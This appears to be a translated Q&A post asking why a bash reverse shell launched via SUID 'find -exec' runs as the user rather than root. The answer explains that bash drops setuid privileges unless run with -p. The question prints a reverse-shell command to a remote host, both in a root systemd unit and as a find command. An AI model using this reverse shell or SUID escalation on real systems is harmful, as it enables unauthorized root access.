0

假设/usr/bin/systemctl/usr/bin/find具有4755 (SUID) 权限,并且有一个服务root.service通过 tcp 连接执行交互式 shell:

[Service]
User=root
ExecStart=/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1"
[Install]
WantedBy=multi-user.target

如果root.service作为非 root 用户执行(作为服务),则创建的交互式 shell 的用户将是 root。

如果执行的命令是(也作为非 root 用户):

find . -exec /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.1.40/3456 0<&1" \;

创建的交互式 shell 的用户将与执行命令的非 root 用户相同。

另一方面,如果我以非 root 用户身份执行:

find . -exec whoami \;

它将返回root

在这两种情况下,我都假设有一个 TCP 连接在侦听指定的 IP 和端口。

我缺少一些关于find -exec功能的东西。

¿ 为什么会有这种差异?

4

1 回答 1

0

这可能是因为Bash 不喜欢被 setuid

使用不相等的有效和真实 UID/ GID
调用]并且有效用户 id 设置为真实用户 id。如果在调用时提供了 -p 选项,则启动行为是相同的,但不会重置有效用户 ID。

拥有有效的 UID !=真正的 UID正是 setuid 进程所看到的,并且确实没有理由假设find会改变这一点,因此两个 UID 都被继承到 Bash,然后丢弃通过 setuid 获得的 UID。

您可能还可以比较

find . -exec whoami \;

find . -exec bash -c whoami \;
于 2021-03-02T20:56:21.340 回答